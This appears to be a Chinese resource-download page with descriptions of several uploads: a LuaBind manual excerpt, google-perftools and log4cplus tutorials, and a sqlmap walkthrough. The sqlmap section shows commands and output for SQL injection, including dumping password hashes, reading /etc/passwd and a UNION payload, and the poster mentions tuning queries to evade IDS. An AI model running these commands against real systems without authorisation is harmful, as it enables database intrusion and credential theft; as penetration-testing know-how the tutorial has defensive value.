关于分开注册一个模块的信息请参阅: 分开注册 章节. 9 对象 因为函数必须能够接受Lua值作为参数,我们必须包装之. 这个包装被称作 luabind::object. 如果你注册的函数 接受一个对象,那它就可以匹配任何Lua值.为了使用它,你需要包含头文件: <luabind/object.hpp>. 摘要 class object { public: template<class T> object(lua_State*, T const& value); object(from_stack const&); object(object const&); object(); ~object(); lua_State* interpreter() const; void push() const; bool is_valid() const; operator safe_bool_type () const; template<class Key> implementation-defined operator[](Key const&); template<class T> object& operator=(T const&); object& operator=(object const&); bool operator==(object const&) const; bool operator<(object const&) const; bool operator<=(object const&) const; bool operator>(object const&) const; bool operator>=(object const&) const; bool operator!=(object const&) const; template <class T> implementation-defined operator[](T const& key) const void swap(object&); implementation-defined operator()(); template<class A0> implementation-defined operator()(A0 const& a0); template<class A0, class A1> implementation-defined operator()(A0 const& a0, A1 const& a1); /* ... */ }; 当你需要一个Lua对象的时候,你可以通过=操作符给它赋一个新值.当你这么做的时候,default_policy 会被用来转换C++值到Lua. 如果你的 luabind::object 是一个table,你可以通过 []操作符或者迭代器 来访问它的成员.[]操作符的返回值是一个代理对象,这个对象可以用于读写表里的值(通过=操作符). 注意,没有办法知道一个Lua对象是否可以索引化访问( lua_gettable 不会失败,要不成功,要不崩溃 ). 这意味着,如果你在一个不可以索引化访问的东西上进行索引,你就只能靠自己了.Lua将会调用它的 panic() 函数. 还有一些自由函数可以用来索引一张table,参阅 相关函数 章节. 那个接受 from_stack 对象作为参数的构造器是用来初始化一个关联Lua栈值的对象的. from_stack 类型 有如下的构造器: from_stack(lua_State* L, int index); index参数就是原始的Lua栈的索引,负值是从栈顶开始索引的.你可以这样用: object o(from_stack(L, -1)); 这将会创建一个 object的实例 o,并拷贝Lua栈顶的对象的值. interpreter() 函数返回保存object实例的Lua状态机.如果你想要直接用Lua函数操作object对象的实例,你 可以通过调用 push() 来把它压入Lua栈. ==操作符将会在操作数上调用 lua_equal()并返回它的结果. is_valid() 函数会告诉你object的实例是否已经初始化过了.通过默认构造器来初始化的实例是非法的.要使之 合法,你可以给其赋一个值.如果你想使一个 object 不合法,最简单的办法就是给它赋一个非法的 object. operator safe_bool_type() 和 to is_valid() 是等价的.这意味着,下面的代码片段是等价的: object o; // ... if (o) { // ... } ... object o; // ... if (o.is_valid()) { // ... } 应用程序操作符() 将会像对待一个函数那样来调用绑定的值. 你可以给它任何数量的参数 (目前, default_policy 将被用于转换 ).返回的对象将代表函数的返回值(当前只支持一个返回值).该操作符 可能会抛出 luabind::error ,如果函数调用失败.如果你想指定一个特殊的函数调用策略,你可以通过在函数 调用时使用 []操作符来指定策略.像这样: my_function_object( 2 , 8 , new my_complex_structure(6) ) [ adopt(_3) ]; 这告诉 LuaBind 让 Lua 接受所有权和负责传入给lua函数的指针. 重要的是当Lua状态机关闭的时候,所有的 object 的实例都会被析构.object实例会持有Lua状态机的指针,并在 自己析构的时候释放它的Lua对象. 这里有一个函数怎样使用 table 的例子: void my_function(object const& table) { if (type(table) == LUA_TTABLE) { table["time"] = std::clock(); table["name"] = std::rand() < 500 ? "unusual" : "usual"; std::cout << object_cast<std::string>(table[5]) << "\n"; } } 如果函数接受一个object作为参数,那么任何Lua值都将匹配这个参数.这就是为什么,我们必须保证入参是一个table 的原因. std::ostream& operator<<(std::ostream&, object const&); 流操作符可以把object实例借由 boost::lexical_cast 转换到string或者方便打印输出.这将会使用Lua的string 转换函数.如果你用 tostring 去转换一个C++对象,对应类型的流操作符将会被使用. 9.1 迭代器 有两种迭代器. 普通迭代器将会使用对象的原方法(如果存在)来获取值. 普通迭代器被称为 luabind::iterator. 另一个 迭代器被称为 luabind::raw_iterator ,它将忽略原方法而直接给出表里的真实内容. 它们具有相同的接口, 都实现了 ForwardIterator 概念.大部分标准迭代器都有如下的成员和构造器: class iterator { iterator(); iterator(object const&); object key() const; standard iterator members }; 接受一个 luabind::object 的构造器实际上是一个用于操作 object 的模板.通过传入一个 object 给构造器来构造出 一个指向 object 里的第一个元素的迭代器. 缺省的构造器将会初始化迭代器为一个指向最后一个元素的后面位置的迭代器.这可以用来测试是否抵达了序列的末端. 迭代器的值类型是一个支持和 luabind::object 相同的操作的代理类型.这意味着,大部分情况下你可以当它就是一个原始 的 object 实例. 它们之间的不同之处在于,任何对代理的赋值操作都会导致值被插入到表中迭代器所指的位置. key() 成员返回迭代器用于索引表的键. 一个迭代器的例子如下: for (iterator i(globals(L)["a"]), end; i != end; ++i) { *i = 1; } end 迭代器是一个缺省的指向序列末尾的迭代器.在这个例子里,我们简单的迭代了表 a 里面所有的实体,并将之赋值为 1. 9.2 相关函数 这里介绍些用于 对象 和 表 操作的函数. int type(object const&); 这个函数将会返回lua类型索引.例如: . LUA_TNIL, LUA_TNUMBER 等. template<class T, class K> void settable(object const& o, K const& key, T const& value); template<class K> object gettable(object const& o, K const& key); template<class T, class K> void rawset(object const& o, K const& key, T const& value); template<class K> object rawget(object const& o, K const& key); 这些函数是用来索引 table 用的. settable 和 gettable 函数分别翻译调用到 lua_settable 和 lua_gettable 函数. 这意味着,你可以在对象上使用索引操作符. rawset 和 rawget 将会翻译调用到 lua_rawset 和 lua_rawget. 所以他们可以绕开任何原方法而给你表里实体的 真实值. template<class T> T object_cast<T>(object const&); template<class T, class Policies> T object_cast<T>(object const&, Policies); template<class T> boost::optional<T> object_cast_nothrow<T>(object const&); template<class T, class Policies> boost::optional<T> object_cast_nothrow<T>(object const&, Policies); object_cast 函数转型对象的值到C++值.你可以给这个从lua到C++的转换提供一个转换策略.如果转型失败, cast_failed 异常将被抛出. 如果你已经定义了 LUABIND_NO_ERROR_CHECKING (参阅 编译选项)宏,就不会 进行任何检查,如果转型非法,应用程序将会彻底崩溃. 不抛出异常的版本会返回一个没有初始化的 boost::optional<T> 对象,由此来指出转型不能进行. 上面的函数的签名确实是模板化的 object 参数,但是这里你应该只传递 object 对象. object globals(lua_State*); object registry(lua_State*); 这些函数分别返回全局环境表和Lua注册表. object newtable(lua_State*); 这个函数创建一个新的 table 并以一个 object 来返回它. 10 在Lua里定义类 作为一个附加功能,LuaBind还提供了一个 Lua侧OO系统来绑定C++函数和对象. class 'lua_testclass' function lua_testclass:__init(name)-- 译注:这个风格类似Python的OO语法 self.name = name end function lua_testclass:print() print(self.name) end a = lua_testclass('example') a:print() 在Lua类之间可以使用继承: class 'derived' (lua_testclass) function derived:__init() super('derived name') end function derived:print() print('Derived:print() -> ') lua_testclass.print(self)-- 译注:注意这里 : 和 . 的区别 end 这里的 super 关键字用来初始化基类.用户必须在构造器里面第一个调用 super. 正如你在这个例子里看到的,你可以调用基类的成员函数.你可以找到所有的基类成员,但是你必须把 this指针(self) 做为函数的第一个参数. 10.1 在Lua里继承 你还可以从Lua侧继承一个C++类,并用Lua函数来覆写虚函数.为了实现这个,我们必须为C++基类创建一个封装类. 当我们实例化一个Lua类的时候,这个封装类将持有Lua对象. class base { public: base(const char* s) { std::cout << s << "\n"; } virtual void f(int a) { std::cout << "f(" << a << ")\n"; } }; struct base_wrapper : base, luabind::wrap_base { base_wrapper(const char* s) : base(s) {} virtual void f(int a) { call<void>("f", a); } static void default_f(base* ptr, int a) { return ptr->base::f(a); } }; ... module(L) [ class_<base, base_wrapper>("base") .def(constructor<const char*>()) .def("f", &base::f, &base_wrapper::default_f) ]; 重要 因为MSVC6.5不支持成员函数的显示模板参数化,作为成员函数 call()的替代, 你可以调用自由函数 call_member()并把 this指针作为第一个参数传入该函数. 注意,如果你同时绑定 base 类 和 base类封装,你必须把基类和基类的封装一起作为模板参数提供给 class_ (就像上面的例子中所做的一样).你指定它们的顺序并不重要.你必须还要从wrapper注册静态版本的和虚函数版 本的封装函数,这是让LuaBind实现动态和静态分派函数调用的必须. 重要 极其重要的是静态(缺省)函数的签名必须和虚函数一致.

2011-09-04

sqlmap (懂的入)

Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:

2011-08-09

C程序设计语言 第二版 PDF

C程序设计语言 - - 要赚分还是得懂市场.

2011-08-05

google-perftools 源码 (一款针对 C/C++ 程序的性能分析工具)

google-perftools 简介 google-perftools 是一款针对 C/C++ 程序的性能分析工具,它是一个遵守 BSD 协议的开源项目。使用该工具可以对 CPU 时间片、内存等系统资源的分配和使用进行分析,本文将重点介绍如何进行 CPU 时间片的剖析。 google-perftools 对一个程序的 CPU 性能剖析包括以下几个步骤。 1. 编译目标程序,加入对 google-perftools 库的依赖。 2. 运行目标程序,并用某种方式启动 / 终止剖析函数并产生剖析结果。 3. 运行剖结果转换工具,将不可读的结果数据转化成某种格式的文档(例如 pdf,txt,gv 等)。 安装 您可以在 google-perftools 的网站 (http://code.google.com/p/google-perftools/downloads/list) 上下载最新版的安装包。为完成步骤 3 的工作,您还需要一个将剖析结果转化为程序员可读文档的工具,例如 gv(http://www.gnu.org/software/gv/)。 编译与运行 您需要在原有的编译选项中加入对 libprofiler.so 的引用,这样在目标程序运行时会加载工具的动态库。例如本例中作者的系统中,libprofiler.so 安装在"/usr/lib"目录下,所以需要在 makefile 文件中的编译选项加入“-L/usr/lib -lprofiler”。 google-perftools 需要在目标代码的开始和结尾点分别调用剖析模块的启动和终止函数,这样在目标程序运行时就可以对这段时间内程序实际占用的 CPU 时间片进行统计和分析。工具的启动和终止可以采用以下两种方式。 a. 使用调试工具 gdb 在程序中手动运行性能工具的启动 / 终止函数。 gdb 是 Linux 上广泛使用的调试工具,它提供了强大的命令行功能,使我们可以在程序运行时插入断点并在断点处执行其他函数。具体的文档请参照 http://www.gnu.org/software/gdb/,本文中将只对用到的几个基本功能进行简单介绍。使用以下几个功能就可以满足我们性能调试的基本需求,具体使用请参见下文示例。 命令 功能 ctrl+c 暂停程序的运行 c 继续程序的运行 b 添加函数断点(参数可以是源代码中的行号或者一个函数名) p 打印某个量的值或者执行一个函数调用 b. 在目标代码中直接加入性能工具函数的调用,该方法就是在程序代码中直接加入调试函数的调用。 两种方式都需要对目标程序重新编译,加入对性能工具的库依赖。对于前者,他的好处是使用比较灵活,但工具的启动和终止依赖于程序员的手动操作,常常需要一些暂停函数(比如休眠 sleep)的支持才能达到控制程序的目的,因此精度可能受到影响。对于后者,它需要对目标代码的进行修改,需要处理函数声明等问题,但得到的结果精度较高,缺点是每次重新设置启动点都需要重新编译,灵活度不高,读者可以根据自己的实际需求采用有效的方式。 示例详解 该程序是一个简单的例子,文中有两处耗时的无用操作,并且二者间有一定的调用关系。 清单 1. 示例程序 void consumeSomeCPUTime1(int input){ int i = 0; input++; while(i++ < 10000){ i--; i++; i--; i++; } }; void consumeSomeCPUTime2(int input){ input++; consumeSomeCPUTime1(input); int i = 0; while(i++ < 10000){ i--; i++; i--; i++; } }; int stupidComputing(int a, int b){ int i = 0; while( i++ < 10000){ consumeSomeCPUTime1(i); } int j = 0; while(j++ < 5000){ consumeSomeCPUTime2(j); } return a+b; }; int smartComputing(int a, int b){ return a+b; }; void main(){ int i = 0; printf("reached the start point of performance bottle neck\n"); sleep(5); //ProfilerStart("CPUProfile"); while( i++ < 10){ printf("Stupid computing return : %d\n",stupidComputing(i, i+1)); printf("Smart computing return %d\n",smartComputing(i+1, i+2)); } printf("should teminate profiling now.\n"); sleep(5); //ProfilerStop(); } 源代码中粗体的内容(方法 1)和斜体的内容(方法 2)分别代表了上文中提及胡两种执行剖析的方式。采用方法二时将直接产生结果,采用方法 1 时需要配合 GDB 的命令来实现剖析的执行和结束,可用的方法有两种,一种是在程序运行时手动暂停函数的执行,另一种是预设断点,并在断点处执行剖析函数,两种方法(方法 a,方法 b)在命令行中的具体操作如下。 方法 a gdb YOUR_PROGRAM // 启动 gdb 并选择你的程序为 gdb 的启动目标 (gdb)r // 运行 // 等待你需要的条件满足,此处示例中打印了字符 (gdb)Ctrl + c // 暂停当前函数 (gdb)p ProfilerStart("MyProfile") (gdb)c // 继续程序运行 // 等待程序打印目标模块结束,此处示例打印了提示 (gdb)Ctrl + c // 暂停当前函数 (gdb)p ProfilerStop() 方法 b gdb YOUR_PROGRAM // 启动 gdb 并选择你的程序为 gdb 的启动目标 (gdb)b main1.c:47 // 对应于耗时模块的起始点 (gdb)b main1.c:52 // 对应于耗时模块的终止点 (gdb)r // 运行 (gdb)p ProfilerStart("MyProfile") (gdb)c // 继续程序运行 (gdb)p ProfilerStop() 结果分析 程序执行完毕会在程序的当前工作目录下产生名为 MyProfile 的结果文件。我们可以用以下命令产生可视化的结果文档。 pprof --gv ./codeTest MyProfile 其中 codeTest 对应于用于测试的目标程序文件名,如果您安装了 pdf 相关的软件您还可以尝试生成 pdf 格式的结果文档,其对应的命令为 pprof --pdf ./codeTest MyProfile > MyProfile.pdf 转换后产生的结果文档如下图。图中的数字和框体的大小代表了的某个函数的运行时间占整个剖析时间的比例。由代码的逻辑可知,stupidComputing,stupidComputing2 都是费时操作并且它们和 consumeSomeCPUTime 存在着一定的调用关系。 图 1. 剖析结果 结束语 本文介绍了一个 Linux 平台上的性能剖析工具 google-perftools,并结合实例向读者展示了如何使用该工具配置、使用及分析性能瓶颈。

2011-07-25

log4cplus 源码(C++编写的开源的日志系统)

log4cplus是C++编写的开源的日志系统,功能非常全面,用到自己开发的工程中会比较专业的,:),本文介绍了log4cplus基本概念,以及如何安装,配置。 ### 简介 ### log4cplus是C++编写的开源的日志系统,前身是java编写的log4j系统.受Apache Software License保护。作者是Tad E. Smith。log4cplus具有线程安全、灵活、以及多粒度控制的特点,通过将信息划分优先级使其可以面向程序调试、运行、测试、和维护等全生命周 期; 你可以选择将信息输出到屏幕、文件、 NT event log、甚至是远程服务器;通过指定策略对日志进行定期备份等等。 ### 下载 ### 最新的log4cplus可以从以下网址下载 http://log4cplus.sourceforge.net本文使用的版本为:1.0.2 ### 安装 ### 1. linux下安装 tar xvzf log4cplus-x.x.x.tar.gz cd log4cplus-x.x.x ./configure --prefix=/where/to/install make make install 这里我采用缺省安装路径:/usr/local,下文如无特别说明,均以此路径为准。 2. windows下安装 不需要安装,有一个msvc6存放包括源代码和用例在内的开发工程(for VC6 only),使用之前请先编译 "log4cplus_dll class"工程生成dll,或者编译"log4cplus_static class"工程生成lib. ### 使用前的配置 ### 1. linux下的配置 确保你的Makefile中包含 /usr/local/lib/liblog4cplus.a(静态库)或 -llog4cplus(动态库)即可, 头文件在/usr/local/include/log4cplus目录下。对于动态库,要想正常使用,还得将库安装路径加入到 LD_LIBRARY_PATH 中,我一般是这样做的:以管理员身份登录,在/etc/ld.so.conf中加入安装路径,这里 是/usr/local/lib,然后执行ldconfig使设置生效即可。 2. windows下的配置 将"log4cplus_dll class"工程或"log4cplus_static class"工程的dsp 文件插入到你的工程中,或者直接 把两个工程编译生成的库以及头文件所在目录放到你的工程的搜索路径中,如果你使用静态库,请在你的工程中 "project/setting/C++"的preprocessor definitions中加入LOG4CPLUS_STATIC。 ### 构成要素介绍 ### 虽然功能强大,应该说log4cplus用起来还是比较复杂的,为了更好地使用它,先介绍一下它的基本要素。 Layouts :布局器,控制输出消息的格式. Appenders :挂接器,与布局器紧密配合,将特定格式的消息输出到所挂接的设备终端 (如屏幕,文件等等)。 Logger :记录器,保存并跟踪对象日志信息变更的实体,当你需要对一个对象进行 记录时,就需要生成一个logger。 Categories :分类器,层次化(hierarchy)的结构,用于对被记录信息的分类,层次中 每一个节点维护一个logger的所有信息。 Priorities :优先权,包括TRACE, DEBUG, INFO, WARNING, ERROR, FATAL。 本文介绍了log4cplus基本概念,以及如何安装,配置,下一篇将通过例子介绍如何使用log4cplus。 (二) 本文介绍了使用log4cplus有六个步骤,并提供了一些例子引导你了解log4cplus的基本使用。 ### 基本使用 ### 使用log4cplus有六个基本步骤: 1. 实例化一个appender对象 2. 实例化一个layout对象 3. 将layout对象绑定(attach)到appender对象 4. 实例化一个logger对象,调用静态函数:log4cplus::Logger::getInstance("logger_name") 5. 将appender对象绑定(attach)到logger对象,如省略此步骤,标准输出(屏幕)appender对象会绑定到logger 6. 设置logger的优先级,如省略此步骤,各种有限级的消息都将被记录 下面通过一些例子来了解log4cplus的基本使用。 〖例1〗 cpp 代码 /* 严格实现步骤1-6,appender输出到屏幕, 其中的布局格式和LogLevel后面会详细解释。*/ #include #include #include using namespace log4cplus; using namespace log4cplus::helpers; int main(){ /* step 1: Instantiate an appender object */ SharedObjectPtr _append (new ConsoleAppender()); _append->setName("append for test"); /* step 2: Instantiate a layout object */ std::string pattern = "%d{%m/%d/%y %H:%M:%S} - %m [%l]%n"; std::auto_ptr _layout(new PatternLayout(pattern)); /* step 3: Attach the layout object to the appender */ _append->setLayout( _layout ); /* step 4: Instantiate a logger object */ Logger _logger = Logger::getInstance("test"); /* step 5: Attach the appender object to the logger */ _logger.addAppender(_append); /* step 6: Set a priority for the logger */ _logger.setLogLevel(ALL_LOG_LEVEL); /* log activity */ LOG4CPLUS_DEBUG(_logger, "This is the FIRST log message...") sleep(1); LOG4CPLUS_WARN(_logger, "This is the SECOND log message...") return 0; } 输出结果: 10/14/04 09:06:24 - This is the FIRST log message... [main.cpp:31] 10/14/04 09:06:25 - This is the SECOND log message... [main.cpp:33] 〖例2〗 /* 简洁使用模式,appender输出到屏幕。 */ #include #include using namespace log4cplus; using namespace log4cplus::helpers; int main() { /* step 1: Instantiate an appender object */ SharedAppenderPtr _append(new ConsoleAppender()); _append->setName("append test"); /* step 4: Instantiate a logger object */ Logger _logger = Logger::getInstance("test"); /* step 5: Attach the appender object to the logger */ _logger.addAppender(_append); /* log activity */ LOG4CPLUS_DEBUG(_logger, "This is the FIRST log message...") sleep(1); LOG4CPLUS_WARN(_logger, "This is the SECOND log message...") return 0; } 输出结果: DEBUG - This is the FIRST log message... WARN - This is the SECOND log message... 〖例3〗 /* iostream模式,appender输出到屏幕。 */ #include #include #include /* 其实这个东东还是放到log4cplus头文件中比较合适些,个人意见:) */using namespace log4cplus; int main() { /* step 1: Instantiate an appender object */ SharedAppenderPtr _append(new ConsoleAppender()); _append->setName("append test"); /* step 4: Instantiate a logger object */ Logger _logger = Logger::getInstance("test"); /* step 5: Attach the appender object to the logger */ _logger.addAppender(_append); /* log activity */ LOG4CPLUS_TRACE(_logger, "This is" << " just a t" << "est." << std::endl) LOG4CPLUS_DEBUG(_logger, "This is a bool: " << true) LOG4CPLUS_INFO(_logger, "This is a char: " << 'x') LOG4CPLUS_WARN(_logger, "This is a int: " << 1000) LOG4CPLUS_ERROR(_logger, "This is a long(hex): " << std::hex << 100000000) LOG4CPLUS_FATAL(_logger, "This is a double: " << std::setprecision(15) << 1.2345234234) return 